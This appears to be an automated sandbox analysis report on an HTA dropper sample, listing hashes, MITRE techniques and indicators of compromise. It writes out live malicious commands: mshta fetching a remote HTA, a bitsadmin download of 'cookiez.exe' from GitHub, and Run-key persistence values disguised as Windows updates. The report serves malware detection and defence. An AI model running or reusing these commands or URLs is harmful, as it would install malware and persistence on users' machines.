7fe124a0993d718f9a0056961a9efc3d87970de7af003ea435e3ffd1877219cd

Analysis

max time kernel
150s
max time network
130s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 00:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.hta
Size 8KB
Sample260930-andvmaxt2p
SHA256 7fe124a0993d718f9a0056961a9efc3d87970de7af003ea435e3ffd1877219cd
MD5 b814cd127063bd423376b50428df3644
SHA1 c188e87c421624c272cc7bd8438d5b405488efe5
SHA512 05ee16bab7a3b403c46f80b49a0bfed78d64c32d30bbfe7d5ae64eef7cabbcc09f0f3b3622edc88c766c01613294d0f1d9fc85ed4ad07e72ca5dbc3348fed96f
SSDEEP 192:/TEORIJ3AdyjiWlDzjlvC9eZl6joyt1T4tSHCw:/TXRIJ3cyjnDzjlvCCl6joM1T7
TLSH
T12F02B5F7BD2AAA38864654ED3979D82CAC70455B485A41397D8C90981F0DBBBC3B03CF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery dropper persistence privilege_escalation

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	628	mshta.exe
8	5660	mshta.exe
9	5660	mshta.exe
10	5660	mshta.exe
12	5660	mshta.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2644	bitsadmin.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wdu.vbs	mshta.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate = "mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdate = "mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta"	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
8	raw.githubusercontent.com
17	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 628 wrote to memory of 2644	628	mshta.exe	91
PID 628 wrote to memory of 1200	628	mshta.exe	95

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\file.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Badlisted process makes network request
- Creates a file in the Startup directory
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer wd /download /priority high "https://github.com/huh71943-s/dicecheck.app/raw/refs/heads/main/cookiez.exe" "C:\Users\Admin\AppData\Local\Temp\cookiez.exe"
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2644
- C:\Users\Admin\AppData\Local\Temp\cookiez.exe
  "C:\Users\Admin\AppData\Local\Temp\cookiez.exe"
  2⤵
  PID:1200

C:\Windows\system32\mshta.exe
mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta
1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
PID:5660